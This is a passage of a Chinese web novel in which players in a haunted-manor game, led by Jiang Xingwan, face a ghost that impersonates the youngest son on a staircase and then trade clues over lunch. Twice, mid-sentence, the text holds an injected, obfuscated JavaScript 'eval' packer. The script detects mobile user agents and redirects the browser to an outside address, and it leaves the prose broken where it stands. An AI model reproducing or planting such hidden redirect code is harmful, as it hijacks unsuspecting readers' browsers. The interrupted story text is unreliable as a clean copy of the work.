“你现在并不占据优势。长子比你先一步拿到信息,唯一反对他的跟你也有仇,胜率估算上你俩五五开都是多说的。而且公爵也不是只有两个儿子,你能确保没有更多的竞争者吗?” 幼子的表情没什么变化,笑容焊死在这张无害的脸上,等着江星晚继续往下说。 “我这个人呢,喜欢真诚一点的。老实说,你跟长子的真诚程度半斤八两,并没有更优越。” “是吗?”幼子笑着,“我以为我已经很真诚地在跟姐姐共享线索了。” 江星晚笑容温和,“事实上,我也提供了等量的线索,甚至还更具有唯一性。” 儿子们的游戏规则大概率差不多,但出走的女儿和公爵的亡妻应该只在她这里。 话讲到这里江星晚的态度已经很明显,幼子见这的确已经是她的底线,暂时放弃了试探。他现在确实没什么能用来谈判的优势,真因为这点事把人推进敌方阵营就得不偿失了,还是退一步更好,“我们下楼吧?” 江星晚本来就没打算跟幼子撕破脸,看他消停下来也不再攻击,“好。” 两人重新回归表面友好,相视一笑就往楼梯间走,尹辰自觉走在中间。 江星晚没忘了那个古怪画框,抱着试试看的心态故技重施,看看能不能在幼子这里再诈出一点什么,随意道:“四楼的装潢和楼下还是挺不一样的。” “是啊。”幼子附和。 好吧,意料之中。 三人继续下楼,走过转角后却一起停下来。 正常来说,再往下走几个台阶就可以回到三楼。 但现在只有墙了。 连通楼梯间、可供通往三楼走廊的右方拱门不知去向,变成了一堵墙。 江星晚没办法确定下一层的楼梯还在不在,因为靠近楼梯扶手那侧的是幼子。而三人几乎是并排下来的,想彼此看看就需要扭头,很容易就让脸碰到肩膀上方。 她还是看过不少鬼故事的,知道遇见这种情况最忌这个。 “道长。”幼子目不斜视地喊尹辰动手,“发发力?” 尹辰没动,“你先去,我不放心你。” 幼子气笑了,“你不放心我什么?怕我捅你黑刀子?我干这事能落着什么好处吗?” “谁知道你会怎么想。” “你俩先别吵。”江星晚觉得力气要用在刀刃上,“先想想现在是什么情况。手头的已知线索里有关于楼梯间的吗?” “姐姐。我要是有这线索还在这站着吗?这东西怎么想都只会在一个人那里吧?” 尹辰:“公爵没提过楼梯间。” “那公爵提了什么?”幼子顺杆往上爬,江星晚都不知道他是有意还是无意。 好在尹辰对外保持着油盐不进的人生态度,守口如瓶,“不能告诉你。” “大哥。”幼子语气很诚恳,“你干道长前是做什么的,这么说话不会挨揍吗?” “不告诉你。” “咳。”江星晚再度出来圆场,“你俩先把私人恩怨放一下,我们想想怎么出去。如果没有关于这方面的线索,那大概率就是用常规解法。” “常规解法不就是让道长上吗?”幼子是真有点没招了,“我可以发誓,我绝对没去东方进修过。” 江星晚觉得这个因果链不够严谨,“你能确定你没去过教堂跟着牧师学习过什么吗?” 幼子沉默了一下。 “我确实没办法保证这个。”幼子不得不承认她这个想法的确有合理成分,“但话说回来,让道长试试能怎么的呢?昨天他能驱邪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681682|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,今天就不能破墙了吗?” “不是很显而易见吗?”江星晚挑明事实,“我和他的关系比跟你好,在不确定正确方案的情况下,你觉得我应该保谁?” 幼子:“这么直白吗?” “我觉得你也可以试试的。”江星晚委婉道,还好心提供了她的推理过程,“一个合理的机制不会给出无铺垫无解法的死路,以你的身份去往四楼并不是什么很难解释的事情,而现在还是白天,你的继承者之路也才刚刚开始,不至于立刻就走到了终点。所以,勇敢点弟弟,向前探索吧,说不定这是公爵给你设下的考验呢?” “这时候我是弟弟了?” 江星晚很坦然地表示:“你要是破了这个困境你可以永远是我弟弟。” 幼子深呼吸。 江星晚支招:“你要是愿意,也可以拽下衣服上的扣子探路。” 幼子:“我能借一下道长的刀吗?” 江星晚/尹辰:“不能。” 幼子一把拽下袖口上的扣子,瞄准多出的那堵墙扔了过去。 扣子撞击到墙面反弹回来,顺着楼梯咕噜噜滚下去。 看来那堵墙不像幻觉。 幼子摸着楼梯扶手一步步往下走,江星晚看着他的动作,感觉这人表现得太过谨慎,与之前的状态并不相符。 江星晚拉住尹辰,她只能确定尹辰一直没脱离她的视线范围,被调换的可能很小。 但也不是完全没有。 江星晚藏好另一只手上的出鞘匕首。 幼子已经走到了原本的三楼楼梯间位置,背对着他们摸了一下多出的那堵墙,看起来没摸出什么门道,于是选择了继续顺着楼梯往下走。 但庄园内的楼梯是会转一百八十度的螺旋式楼梯。 江星晚余光瞥着幼子没有变化的后脑勺,死死抿紧唇。 脚步声与头颅都很快消失,身边人又开口:“疼。” 江星晚上半身发力一拧,一匕首捅过去,对上尹辰震惊又难以置信的眼神。 “你干嘛?”尹辰声音微颤,她掐他也就算了,还要动刀子捅他吗?他不是和她一伙儿的么,“三个人是只能活一个吗?” 江星晚一愣,目光移到两人之间显形的红线上,她记得她捅过来时还没有这抹红,这红线是在…… 在“尹辰”架住她捅刀的手腕时出现的。 这是她的那个天赋吗?显形的原理是什么?难道眼前这个是真的? “你不是假的?” “我很像假的吗?”尹辰怀疑人生,“你都往我心脏捅了我都没拔刀。” 江星晚看了看渐渐消失的红线,红线圈的位置是对的,“那你刚刚突然喊什么?” 尹辰动了动自己被江星晚拉着的那条胳膊,“因为你掐我。” 江星晚:“……” “抱歉,我看幼子不太正常,以为你和他都被换了。”江星晚语气诚恳。 但尹辰看了眼她还悬着的刀尖,“不然你问我点什么,对个暗号?我现在也不敢松手。” “……神使都要这么谨慎吗?” 江星晚开口:“我们契约的期限是多久?” 尹辰愣住,“我该知道吗?” 江星晚收了力道,没收回匕首但示意他可以松手了,“我信你。” 尹辰凝视她的匕首,“这是我给你顺的。” 江星晚把刀尖冲外。 尹辰慢慢松开她手腕,见她确实没有再给他来一下的意思,终于松口气。 早知道江星晚会给他来一下,他就该先拔刀给幼子来一下。 12. [霍普庄园-10]说客 “三楼恢复正常了。”江星晚看着重新出现的拱门出声道。刚刚也就一瞬间的功夫,楼梯间的布置就恢复了原样,机制让人琢磨不透。 尹辰见她不动,主动提议:“我先下去看看?” “一起去吧。”江星晚握住他的手腕,“至少现在我们确定了彼此的身份,更好应对。” 尹辰点头,也没拔刀,两人摸索着往拱门走。直到进了走廊也没横生变故,周围的一切都与先前一样。 途经自己的房门时江星晚停留了一下,然后果断拉着尹辰往前走,直到抵达第一扇房门前才再次停下,让尹辰敲门。 尹辰微愣,“这是霍白的,幼子是第二扇。” “就是找霍白。” 尹辰上前叩门,但没人应,“看起来好像不在。” “小姐、客人,午餐时间到了。” 声音突然打背后响起,江星晚一个激灵攥紧了匕首,直到身后人又喊了声小姐。 两人转过身,看清是侍者的那刻江星晚立即把匕首收回到系统背包。 “不需要通知其他人吗?”江星晚问道。 “这层只有您和这位客人了。” 江星晚点头,示意侍者带路。 这次下楼倒是没出现什么意外,两人顺利抵达用餐地点——与早晚餐地点相同。 一进来江星晚就看见了霍白,她和长媳待在一起,两人的交谈看起来还算愉快。 幼子不在这里。 公爵姐姐在,但和她对上视线的刹那,公爵姐姐就把头转向了一边。 江星晚:? 有说客发动了离间计? 江星晚就近叫住一个侍者,“管家在哪里?” “姐姐找管家做什么?”完好无损的幼子朝她走来,表情自然,看起来像是随口问候。 而侍者此刻也做出了不知道的回答,江星晚放走侍者,不动声色地打量幼子,“找他问些问题。” 幼子笑了笑,视线瞥过在场众人,没有刨根问底,“我在一楼见过管家,姐姐等会儿可以在附近找一找。” 江星晚微笑致谢,目送幼子毫无异样地往前走去。 玩家这会儿也已全部到齐,侍者开始安排座位,位置排布与之前完全一致。 江星晚望着仍有意避开同她对视的公爵姐姐,对她的行为有了进一步猜测。 看来于她而言还是默认队友的份量更重一些。 “午餐后要一起聊聊吗?”邻座的霍白低声发起邀约。 江星晚欣然接受,“好啊,如果你不介意我再带一个的话。” 霍白似乎早有心理准备,并没有太惊讶,“好,我也会带一个的。” 两人达成共识,重新保持缄默,等待公爵入场。 公爵的表现照旧,雷同的交代偶尔会让江星晚觉得他就是个复读机,但这个复读机有着足够阴险的内里,很会给人挖坑。 系统给出的信息里没有提到任务时限,但这个任务真的没有时限吗? 恩特那提开放之日,是终局时分还是临界点呢? 一顿食不知味的午餐用完,公爵终于准备离开,离开前,他开口:“扎克,随我来。” 江星晚第一时间去看幼子。 可惜位置上实在不占优势,她没能看清幼子对此是什么反应。只注意到扎克对公爵的做法并未感到惊慌,很从容地就跟了上去。 这对义父子很快离开,但剩下的玩家也没有留下闲聊的意思,陆续起身走掉。 江星晚问霍白,“我们等会儿哪里见?” 霍白勾起微笑,“长媳房间。” 江星晚面色如常,“好。十五分钟后我会准时到达。” 霍白没有异议,也没问她去做什么。江星晚带上尹辰离开这个房间,直奔大门而去。 当即将踏出大门的那一刻,再度闪现在他们面前的管家令江星晚松了口气,有种果然如此的感觉。 “小姐。” 管家刚说了两个字,江星晚就朝他伸出手,“钥匙。” 见管家没有掏钥匙的动作反而还想着开口,江星晚打断施法,“公爵应当已经告诉你了。管家,你应当有好好地保存着存放我母亲画像房间的钥匙吧?” “当然,小姐。”管家面上的笑容愈发虚假,但终于肯做出行动,在空空的腰间一摸便凭空弄出一把古朴钥匙,递给江星晚。 江星晚接过钥匙,在掌心里攥了攥,一边确定质量水准一边接着套话,“房间有更改吗?平时都是怎么安排打扫的?不会给挪到什么找不到的地方了吧?” “小姐多虑了,夫人的房间一直都没有变动,里面的一切都保存的很好。” “是吗?”江星晚冷嗤一声,“我还以为我母亲的一切都要被掩盖隐藏呢。原来还保留着与公爵一起的过往吗?” 管家的情绪调动明显不如公爵,亦或是打工人无需掺和公爵的爱恨情仇,听到这些也依然保持着原表情,安抚这位公爵第一任妻子的女儿:“小姐,她仍在四楼走廊的尽头。” 得到准确位置的江星晚渐渐平复心情,努力贴近强忍的悲伤感,“我希望我在怀念母亲时,不会有人来打扰。” 管家朝她行礼,却没有应承下来。 江星晚并不执着于这个,事实上现在还不知道闯入的第三者与母亲的房间相比,哪个对她来说更安全一点。 提前问询不过是给自己一个心理预期,各种情况还是都要考虑的。 如今最紧迫的事,是再赶去长媳房间跟霍白碰头。 …… “你们好。”江星晚略显拘谨地跟门里的霍白和长媳打了招呼,带着尹辰挪进门内。 房门关好,私密空间里的霍白明显比在外时要活泼一点,“你要带的果然是道长。” “其实是我现在不太敢让他离开我的视线。”江星晚的语气带一点后怕与犹疑,眼神不安,“我们在庄园里,撞鬼了。” 对面的两人一齐瞪大眼,又默契地看向尹辰。 霍白:“是因为……道长的身份吗?” 江星晚摇头,“我觉得不是。” “他的身份或许可以佐证这个地方不是特别的唯物,但伴随而来的危险不会只针对他一个人。如果只有一个身份可以见鬼并遭受其迫害,那并不能说明世界有问题,更可能的是他有臆想症。” “那、那我们每个人都会见鬼?”长媳重新陷入最初的不安情绪,不自觉地摩挲着自己的腕骨。 江星晚并没有给予善意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681683|188789||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谎言,“很大概率。” 假如遭遇灵异事件存在一套触发规则,四楼是目前最可能的条件,而人们迟早会陆续上楼的。 霍白更快镇定下来,“那、鬼的杀伤力强吗?” 这个江星晚真的不好说。她现在并不能确定鬼打墙是因为什么破解的。虽然很大可能是因为把可疑“幼子”赶出队伍,但这个操作达成时存在的特定因素太多。 第一,她和尹辰是两个人,且是一伙儿的。 第二,尹辰和她都有武器。 如果当时言语上无法让幼子主动离开,她和尹辰也有的是手段把人踹下去。 但如果是两人同行的情况下有一人不知不觉变成了鬼…… 谁踹谁真还不一定。 “你们尽量别落单吧。尤其是上下楼梯的时候,可以的话尽量抓着对方的手。虽然我也不能确定是否有用,但聊胜于无。”江星晚提醒着她们,现在局势和规则都不明朗,人类和人类之间的信任都很薄弱了,万一再变成人类和伪人…… 她并不想体验这种“与全世界为敌”的感觉。 霍白抓住重点,“鬼会替换成身边人?” 江星晚点头,又特意看了霍白一眼,后者让她看得有些紧张。 霍白:“难道……变成我了?” “那倒不是,我遇见的鬼是幼子。”江星晚直接坦白,“他的位置就在你们中间,你们有发现什么异常吗?” 两人对视一眼,明显比刚刚听说有鬼时还要更吃惊一点,偏偏江星晚在此时继续加码,“开始午餐前,我们刚在楼梯上目睹了他的无脸头颅蹦下楼梯。” 长媳倒吸一口凉气,声音发颤,“那吃饭时的他……” “这我暂时真没办法确定。”江星晚下楼时特地留意了楼梯周围,没有散落的扣子,而后来出现的幼子袖口也是完好的。 但来到四楼和她一起进入公爵房间的幼子很像真的,她更倾向于自己一开始的确接触了幼子,但三人下楼时真幼子被鬼替换掉。 只是后来真幼子去哪儿了,他的身边又是什么情况?是同样出现了两个与她和尹辰完全一样的鬼,还是记忆被模糊忘记了这段时间的具体事件? 亦或者……这小子是纯演戏只为扰乱她视线? 真是这样的话,就别怪她不客气了。 如果主线任务是继承者的阵营拉拢,幼子的阵营领导者位置是确定的,那么他最容易拉拢的身份其实是很可能与他同父同母的公爵女儿——霍白。 但霍白的打法相当谨慎,幼子如果存在被“替代”的风险,想拿到她这一票就需要更多努力。 “幼子……用餐时并未表现出什么异常,只是与昨天相比沉默寡言一些。但自从长子在早上宣布了那些事情后,他就是这样了。”霍白说着,又带着点希望看向江星晚,“道长……有办法分辨吗?” 江星晚尴尬一笑,“根据经验,似乎不太行。” 长媳满脸前途惨淡,“所以这是个人鬼游戏?” “也不一定。”江星晚把话题拉回来,“长子不是说这是个继承者游戏吗?而且今天公爵特意叫走了扎克,扎克的身份可是公爵的义子。场上光公爵的儿子就有三个,也许真的是选定继承者进行阵营对抗呢?”